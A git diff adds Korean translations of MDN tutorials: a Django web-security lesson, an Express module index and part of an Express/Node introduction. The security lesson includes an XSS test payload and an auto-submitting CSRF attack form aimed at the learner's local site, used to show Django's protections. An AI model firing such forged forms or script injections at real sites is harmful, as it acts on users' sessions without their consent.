+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/web_application_security/index.html b/files/ko/learn/server-side/django/web_application_security/index.html
new file mode 100644
index 0000000000..849f5bff3d
--- /dev/null
+++ b/files/ko/learn/server-side/django/web_application_security/index.html
@@ -0,0 +1,176 @@
+---
+title: Django web application security
+slug: Learn/Server-side/Django/web_application_security
+translation_of: Learn/Server-side/Django/web_application_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">사용자의 데이터를 보호하는 것은 모든 웹사이트 개발에서 중요한 부분입니다. 우리는 이전의 강의 <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> 에서 자주 나타나는 보안 위협에 대해 알아봤습니다. — 이번 강의에서는 장고의 내장 보안 기능이 이런 위험에 어떻게 대처하는지 실제 예시들을 통해 살펴보겠습니다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">이 문서를 보기 전에: </th>
+   <td>서버사이드 개발에 대한 "<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>" 부분을 읽고 오세요. MDN 장고 튜토리얼에서 적어도 <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a> 까지는 모두 알고있어야 합니다. </td>
+  </tr>
+  <tr>
+   <th scope="row">목적: </th>
+   <td>장고 웹사이트의 보안을 위해 해야 하는 (하지 말아야 하는) 것들에 대해 이해해 봅시다. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Website security</a> 문서는 서버사이드 설계에서 웹사이트 보안이란 무엇을 이야기하는건지, 또한 개발자가 막아내야 하는 몇가지 대표적인 위협에 대해 소개합니다. 이 문서에서 중요한 내용중의 하나는 바로 웹 애플리케이션이 브라우저에서 전송된 데이터를 신뢰하는 경우에는 거의 모든 종류의 공격이 가능하다는 것입니다. </p>
+
+<div class="warning">
+<p><strong>Important:</strong> 웹사이트 보안에 대해 당신이 배울 수 있는 가장 중요한 점 한가지는 <strong>브라우저의 데이터를 절대로 믿지 말라는 것</strong> 입니다. 이건 URL 파라미터의 <code>GET</code> request 데이터, <code>POST </code>데이터, HTTP 헤더와 쿠키, 사용자가 업로드한 파일들...기타등등을 포함합니다. 언제나 전송받는 모든 데이터를 의심하고 체크하십시오. 언제나 최악을 가정하십시오.</p>
+</div>
+
+<p>Django 사용자들에게 좋은 소식은 대부분의 일반적인 위협들은 프레임워크에 의해 차단된다는 것입니다! <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> 문서는 Django의 보안 개요와 Django 기반의 웹사이트를 어떻게 지킬 수 있는지에 대해 설명하고 있습니다.</p>
+
+<h2 id="Common_threatsprotections">Common threats/protections</h2>
+
+<p>Django 문서를 여기로 복사해오기보다, 이 문서에서 우리는 Django <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 튜토리얼에 있는 Django의 몇가지 보안 형태를 묘사해보도록 하겠습니다.</p>
+
+<h3 id="Cross_site_scripting_XSS">Cross site scripting (XSS)</h3>
+
+<p>XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts <em>through</em> the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.</p>
+
+<p>Django's template system protects you against the majority of XSS attacks by <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">escaping specific characters</a> that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a>.</p>
+
+<ol>
+ <li>Start the website using the development server (<code>python3 manage.py runserver</code>).</li>
+ <li>Open the site in your local browser and login to your superuser account.</li>
+ <li>Navigate to the author-creation page (which should be at URL: <code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>).</li>
+ <li>Enter names and date details for a new user, and then append the following text to the Last Name field:<br>
+  <code>&lt;script&gt;alert('Test alert');&lt;/script&gt;</code>.<br>
+  <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;">
+  <div class="note">
+  <p><strong>Note:</strong> This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.</p>
+  </div>
+ </li>
+ <li>Press <strong>Submit</strong> to save the record.</li>
+ <li>When you save the author it will be displayed as shown below. Because of the XSS protections the <code>alert()</code> should not be run. Instead the script is displayed as plain text.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li>
+</ol>
+
+<p>If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. <code>&gt;</code> is now <code>&amp;gt;</code>)</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Author: Boon&amp;lt;script&amp;gt;alert(&amp;#39;Test alert&amp;#39;);&amp;lt;/script&amp;gt;, David (Boonie) &lt;/h1&gt;
+</pre>
+
+<p>Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the <code>help_text</code> in a form field is usually not user-supplied, so Django doesn't escape those values).</p>
+
+<p>It is also possible for XSS attacks to originate from other untrusted source of data, such as cookies, Web services or uploaded files (whenever the data is not sufficiently sanitized before including in a page). If you're displaying data from these sources, then you may need to add your own sanitisation code.</p>
+
+<h3 id="Cross_site_request_forgery_CSRF_protection">Cross site request forgery (CSRF) protection</h3>
+
+<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)</p>
+</div>
+
+<p>In order to do this, they might create an HTML file like the one below, which contains an author-creation form (like the one we used in the previous section) that is submitted as soon as the file is loaded. They would then send the file to all the Librarians and suggest that they open the file (it contains some harmless information, honest!). If the file is opened by any logged in librarian, then the form would be submitted with their credentials and a new author would be created.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;body onload='document.EvilForm.submit()'&gt;
+
+&lt;form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'&gt;
+  &lt;table&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_first_name"&gt;First name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_last_name"&gt;Last name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_date_of_birth"&gt;Date of birth:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_date_of_birth" name="date_of_birth" type="text" /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_date_of_death"&gt;Died:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /&gt;&lt;/td&gt;&lt;/tr&gt;
+  &lt;/table&gt;
+  &lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Run the development web server, and log in with your superuser account. Copy the text above into a file and then open it in the browser. You should get a CSRF error, because Django has protection against this kind of thing!</p>
+
+<p>The way the protection is enabled is that you include the <code>{% csrf_token %}</code> template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.</p>
+
+<pre class="brush: html notranslate">&lt;input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /&gt;
+</pre>
+
+<p>Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.</p>
+
+<p>To use this type of attack the hacker now has to discover and include the CSRF key for the specific target user. They also can't use the "scattergun" approach of sending a malicious file to all librarians and hoping that one of them will open it, since the CSRF key is browser specific.</p>
+
+<p>Django's CSRF protection is turned on by default. You should always use the <code>{% csrf_token %}</code> template tag in your forms and use <code>POST</code> for requests that might change or add data to the database.</p>
+
+<h3 id="Other_protections">Other protections</h3>
+
+<p>Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):</p>
+
+<dl>
+ <dt>SQL injection protection</dt>
+ <dd>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.</dd>
+ <dt>Clickjacking protection</dt>
+ <dd>In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (&lt;iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an &lt;iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code>&lt;iframe&gt;</code></a> controlled by the attacker. Django contains <a href="https://docs.djangoproject.com/en/2.0/ref/clickjacking/#clickjacking-prevention">clickjacking protection</a> in the form of the <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware"><code>X-Frame-Options middleware</code></a> which, in a supporting browser, can prevent a site from being rendered inside a frame.</dd>
+ <dt>Enforcing SSL/HTTPS</dt>
+ <dd>SSL/HTTPS can be enabled on the web server in order to encrypt all traffic between the site and browser, including authentication credentials that would otherwise be sent in plain text (enabling HTTPS is highly recommended). If HTTPS is enabled then Django provides a number of other protections you can use:</dd>
+</dl>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> can be used to check whether content is secure, even if it is incoming from a non-HTTP proxy.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> is used to redirect all HTTP requests to HTTPS.</li>
+ <li>Use <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS). This is an HTTP header that informs a browser that all future connections to a particular site should always use HTTPS. Combined with redirecting HTTP requests to HTTPS, this setting ensures that HTTPS is always used after a successful connection has occurred. HSTS may either be configured with <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_SECONDS"><code>SECURE_HSTS_SECONDS</code></a> and <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> or on the Web server.</li>
+ <li>Use ‘secure’ cookies by setting <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> and <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> to <code>True</code>. This will ensure that cookies are only ever sent over HTTPS.</li>
+</ul>
+
+<dl>
+ <dt>Host header validation</dt>
+ <dd>Use <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-ALLOWED_HOSTS"><code>ALLOWED_HOSTS</code></a> to only accept requests from trusted hosts.</dd>
+</dl>
+
+<p>There are many other protections, and caveats to the usage of the above mechanisms. While we hope that this has given you an overview of what Django offers, you should still read the Django security documentation.</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Django has effective protections against a number of common threats, including XSS and CSRF attacks. In this article we've demonstrated how those particular threats are handled by Django in our <em>LocalLibrary</em> website. We've also provided a brief overview of some of the other protections.</p>
+
+<p>This has been a very brief foray into web security. We strongly recommend that you read <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> to gain a deeper understanding.</p>
+
+<p>The next and final step in this module about Django is to complete the <a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">assessment task</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> (Django docs)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Server side website security</a> (MDN)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> (MDN)</li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a> (MDN)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/express_nodejs/index.html b/files/ko/learn/server-side/express_nodejs/index.html
new file mode 100644
index 0000000000..453d7490f0
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/index.html
@@ -0,0 +1,63 @@
+---
+title: Express 웹 프레임워크 (Node.js/JavaScript의 활용)
+slug: Learn/Server-side/Express_Nodejs
+tags:
+  - Express
+  - node.js
+  - 서버
+  - 시작
+  - 웹프레임워크
+  - 자바스크립트
+  - 초보개발자
+translation_of: Learn/Server-side/Express_Nodejs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Express는 JavaScript로 작성되고 Node.js 런타임 환경에서 구동되는 인기 있는 웹 프레임워크입니다. 이 장에서는 Express 프레임워크의 몇 가지 장점과 개발환경 설치 방법, 웹 개발과 배포작업의 방법을 다룹니다.</p>
+
+<h2 id="알아야할_것들">알아야할 것들</h2>
+
+<p>이 장의 내용은 Server-side 웹 프로그래밍과 웹 프레임워크에 대한 이해가 필요합니다. 잘 모르겠다면 <a href="/ko/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a> 을 먼저 확인해보세요. 일반적인 프로그래밍 컨셉과 <a href="/ko/docs/Web/JavaScript">JavaScript</a> 의 지식이 요구되지만, 핵심까지 세세하게 알 필요는 없습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 여기서는 클라이언트 측에서의 자바스크립에 관한 많은 유용한 자료들을 이용할 수 있다.  <a href="/ko/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (한 번 배워보자). 자바스크립트의 핵심과 컨셉은 Node.js를 이용한 서버측 개발과 같으므로, 여기의 자료들을 이용하는 게 좋을 것이다. Node.js 는HTTP서버를 구축하고 파일 시스템에 접근하는 등의 브라우저가 필요없는 환경에서에서 유용한 기능을 제공하는 <a href="https://nodejs.org/dist/latest-v6.x/docs/api/documentation.htm">additional APIs</a>를 제공하지만, 브라우저나 DOM에서 작동되는 자바스크립트 API는 지원하지 않는다.</p>
+
+<p>다음 목차에서는 Node.js와 Express 그리고 인터넷과 책에서의 방대한 좋은 자료들에 있는 정보들을 알려준다. 이들은 <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) 나 <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora)에 참고해보자</p>
+</div>
+
+<h2 id="목차">목차</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></dt>
+ <dd>처음으로 Express에 배우는 이 곳에서는 "Node가 뭐지?", "Express는 뭐지?"의 물음에 답하고, Express 웹 프레임워크의 전반적인 사항에 대해 알아볼 것이다. 주된 내용의 뼈대를 완성하고, Express 어플리케이션을 하나하나씩 배워볼 것이다. (하지만, 이 곳에서는 아직 어디서 테스팅이 이루어질 지 개발 환경등에서는 다루지 않을 것이다.).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></dt>
+ <dd>이제 Express가 어디에 이용되는지 알아볼 것이다. Windows, Linux(Ubuntu), Mac OS X에서 Node/Express의 개발환경을 구축하기 위한 방법도 살펴볼 것이다. 운영체제에 관계없이, 여기서는 Express 개발을 시작하기위해서 어떤 것이 필요한지도 알려준다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></dt>
+ <dd>실질적인 튜토리얼에 해당하는 이번 수업에서는 어떤 것을 배우고 차후 수업에 필요한 "로컬 라이브러리"에서의 웹사이트의 전반적인 개요도 알아본다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></dt>
+ <dd>여기서는 웹사이트의 뼈대를 구성해 나갈 것이다. 웹사이트의 뼈대란 사이트의 사이트맵, 템플릿 및 데이터베이스등을 말하므로 이를 만들어볼 것이다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></dt>
+ <dd>여기서는 간단하게나마 Node/Express에 필요한 데이터베이스의 개요에 대해 소개할 것이다. 그리고 로컬의 웹사이트의 DB에 접근하기 위해 <a href="http://mongoosejs.com/">Mongoose</a>를 사용하는 법도 알아본다. DB에서의 스키마와 모델이 어떻게 정의되는지, 필드의 타입과 기본적인 유효성에 대해서도 알아본다. 또한, 짧게나마 모델 데이터를 접근하는 주된 방법도 알아본다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></dt>
+ <dd>이 수업에서는 <em>LocalLibray </em>웹사이트에 사용하기 위해 "더미" 핸들러 함수를 통한 라우터(URL 핸들링 코드)에 대해 배운다. 여러분의 라우팅 핸들링 코드를 사용할 수 있는 모듈 구조를 가지고 있으며, 다음 장에서 실제로 핸들러 기능을 확장할 수 있게 된다. 또한, Express에서 사용가능한 모듈 형식의 라우팅에 대해 쉽게 이해할 수 있을 것이다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></dt>
+ <dd>자, 이제 웹사이트에 책이나 데이터들을 표시할 페이지를 추가할 수 있다. 페이지에는 사이트에 관련된 자세한 부분과 리스트 및 모델 타입들이 얼마나 많이 기록되는지에 관한 홈 페이지가 포함되어 있다. 따라서 우리들은 데이터베이스에서 기록을 얻고 템플릿을 사용하는 데 실질적인 경험을 가질 수 있다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></dt>
+ <dd>이 수업에서는 Pug를 사용해서 어떻게 Express에서 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> 이 사용되는지 보여주고, 특히 데이터베이스에서 폼을 작성하고 업데이트하고 지우기 위해 사용하는 방법에 대해 배울 것이다.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></dt>
+ <dd>이제 꽤 훌륭한 로컬라이브러리 웹사이트 만들 수 있으며 , 웹 서버에 업로드 함으로서 여러 사람들이 인터넷을 통해 접근할 수 있게 만들 수 있다. 이 수업은 전반적으로 웹 사이트를 배포하기 위해 호스트와 연결하는 등을 배우고, 실제 서비스를 하기위해 준비해야할 것들을 알려 준다.</dd>
+</dl>
+
+<h2 id="튜토리얼_추가하기">튜토리얼 추가하기</h2>
+
+<p><strong>자습서의 끝입니다. </strong>(지금은 말이죠). 만약 이 자습서의 내용을 보충하고 싶으시다면 아래와 같은 주제를 해 주시면 좋을 것 같네요:</p>
+
+<ul>
+ <li>세션 이용하기</li>
+ <li>사용자 인증</li>
+ <li>사용자 권한 부여 및 허가</li>
+ <li>Express 웹 어플리케이션 테스트</li>
+ <li>Express 웹 어플리케이션 보안</li>
+</ul>
+
+<p>그리고 평가 작업도 있으면 정말 좋을 것 같아요!</p>
diff --git a/files/ko/learn/server-side/express_nodejs/introduction/index.html b/files/ko/learn/server-side/express_nodejs/introduction/index.html
new file mode 100644
index 0000000000..caa4eb8eaa
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/introduction/index.html
@@ -0,0 +1,488 @@
+---
+title: Express/Node 소개
+slug: Learn/Server-side/Express_Nodejs/Introduction
+translation_of: Learn/Server-side/Express_Nodejs/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">첫번째 Express 수업에서는 Node, Express를 알아보고, Express 웹 프레임워크 제작의 전반에 대해 배우게 됩니다.<br>
+ 우선 주요 특징들에 대한 틀을 정리한 후 Express 어플리케이션을 구성하는 주요 구성요소들을 살펴볼 것입니다. (테스트할 개발환경은 아직이겠지만요)</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">알아야 할 것들</th>
+   <td>기본적인 컴퓨터의 이해. 서버 사이드 웹사이트 프로그래밍(<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">server-side website programming</a>), 그리고 특별히 웹사이트에서 클라이언트와 서버간의 상호작용(<a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">client-server interactions in websites</a>)의 메커니즘에 대한 이해</td>
+  </tr>
+  <tr>
+   <th scope="row">목표</th>
+   <td>Express에 익숙해지고, Node와 어떻게 함께 사용되는지, 기능은 어떠한지, 그리고 Express 어플리케이션의 주요한 구성요소들에 대해 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Express와_Node란">Express와 Node란?</h2>
+
+<p><a href="https://nodejs.org/">Node</a> (또는 더 공식적으로는 Node.js) 는 오픈소스, 크로스 플랫폼이며, 개발자가 모든 종류의 서버 사이드 도구들과 어플리케이션을 <a href="/en-US/docs/Glossary/JavaScript">JavaScript</a>로 만들수 있도록 해주는 런타임 환경이다.런타임은 브라우져 영역 밖에서도 사용할수 있도록 의도했다.(예를들면 서버 OS 또는 컴퓨터에서 직접적으로 실행되는). 이와 같이,  이 환경에서 특정 브라우져에서의 자바스트립트 API들을 제외시키고 ,  HTTP 와 파일 시스템 라이브러리들을 포함하여 더 많은 전형적인 OS API들을 추가했다.</p>
+
+<p>웹 서버 관점에서 노드는 많은 장점들을 가진다:</p>
+
+<ul>
+ <li>훌륭한 퍼포먼스! Node는 단위시간당 처리량과 어플리케이션에서 확장성을 최적화 시키고, 많은 공통적인 웹 개발 문제들을 맞먹는다.(예를들면  실시간 웹 어플리케이션들)</li>
+ <li>코드는 순수한 자바스크립트로 작성된다, 이는 당신이 각각 브라우져와 웹 서버 코드를 작성할때 언어들 사이에 "context shift" 를 다루는 시간을 적게 할수 있을을 의미한다.</li>
+ <li>자바스크립트는 비교적 새로운 프로그래밍 언어이고 또다른 전통적인 웹서버 언어들과 비교할때 언어적 설계에서 향상의 이득을 가진다. 많은 다른 새롭거나 인기있는 언어들은 자바스크립트로 컴파일하거나 변환한다 그래서 또한 당신은 커피스크립트, 클로져스크립트, 스칼라, 라이브 스크립트 등등을 사용할 수 있다.</li>
+ <li>노드 패키지 매니저(NPM)는 수천만개의 재사용가능한 패키지에 접근할 수 있도록 한다. 이것은 최고의 의존성 해결과 또한 수많은 빌드 툴체인이 자동화되도록 한다.</li>
+ <li>이것은 마이크로소프트 윈도우, OS X, 룩스, 솔라리스, FreeBSD, OpenBSD, WebOS, 그리고 NonStop OS 등에서 돌아가는 버전과 같이 포터플하다.  더군다나, 이것은 특정한 인프라구조를 지원하고  Node 사이트 호스팅을 위한 문서를 제공하는 많은 웹 호스팅 공급자들에 의해서 잘 지원되고 있다.</li>
+ <li>도움을 주고자 하는 수많은 사람들이 존재하는 아주 활발한 개발 생태계와 커뮤니티를 지니고 있다.</li>
+</ul>
+
+<h3 id="Hello_Node.js">Hello Node.js</h3>
+
+<p>아래 코드처럼 Node에 HTTP 모듈을 사용하여 모든 요청에 응답이 가능한 간단한 웹 서버를 쉽게 생성할 수 있습니다.</p>
+
+<p>이렇게하면 웹 서버가 만들어지고 URL <code>http://127.0.0.1:8000/</code> 에 있는 모든 종류의 HTTP 요청에 수신하게 됩니다. 요청이 하나 들어왔을 때, "Hello World" 텍스트 응답을 보내도록 하겠습니다.</p>
+
+<ol>
+ <li>터미널을 연다. (윈도우에서는, 커맨드라인 유틸리티)<br>
+  ※ 윈도우 키 + R =&gt; 'CMD'</li>
+ <li>프로그램을 저장할 폴더를 생성하고(여기서는 <code>test-node</code>), 아래 명령을 입력하여 해당 폴더로 이동한다.</li>
+</ol>
+
+<pre class="notranslate">cd test-node</pre>
+
+<ol start="3">
+ <li>즐겨쓰는 텍스트에디터를 열어 아래 코드를 입력한 후, 파일명 <code>hello.js</code> 로 저장한다.</li>
+</ol>
+
+<pre class="brush: js notranslate">//Load HTTP module
+var http = require("http");
+
+//Create HTTP server and listen on port 8000 for requests
+http.createServer(function (request, response) {
+
+   // Set the response HTTP header with HTTP status and Content type
+   response.writeHead(200, {'Content-Type': 'text/plain'});
+
+   // Send the response body "Hello World"
+   response.end('Hello World\n');
+}).listen(8000);
+
+// Print URL for accessing server
+console.log('Server running at http://127.0.0.1:8000/')</pre>
+
+<p>4. 터미널로 돌아가 아래 명령을 입력한다.</p>
+
+<pre class="brush: bash notranslate">node hello.js</pre>
+
+<p>이제, 웹브라우저를 열어 다음 주소로 이동한다. <code>http://localhost:8000</code> 곧바로 좌상단에 "<strong>Hello World</strong>" 문구가 있고, 나머지 영역은 비어있는 웹페이지를 볼 수 있다.</p>
+
+<p>Node 자체가 다른 일반적인 웹 개발 기능을 지원하지 않습니다. 만약 다른 HTTP 패턴 (예 : <code>GET</code>, <code>POST</code>, <code>DELETE</code> 등)에 대한 특정 처리를 추가하려면 서로 다른 URL 경로("routes")를 사용하여 요청을 개별적으로 처리, 정적 파일을 제공, 템플릿을 사용하여 동적으로 응답을 생성할 수 있으며, 코드를 직접 작성할 필요가가 생기게 됩니다. 또는 기본적인 것들을 직접 구현하는 작업을 피하고 웹 프레임 워크를 사용할 수 있습니다! </p>
+
+<p><a href="https://expressjs.com/">Express</a> 는 가장 인기있는 Node 웹 프레임 워크 이며, 다른 많은 인기있는 <a href="https://expressjs.com/en/resources/frameworks.html">Node web frameworks</a>의 기본 라이브러리 입니다. Express는 다음과 같은 메커니즘을 제공합니다:</p>
+
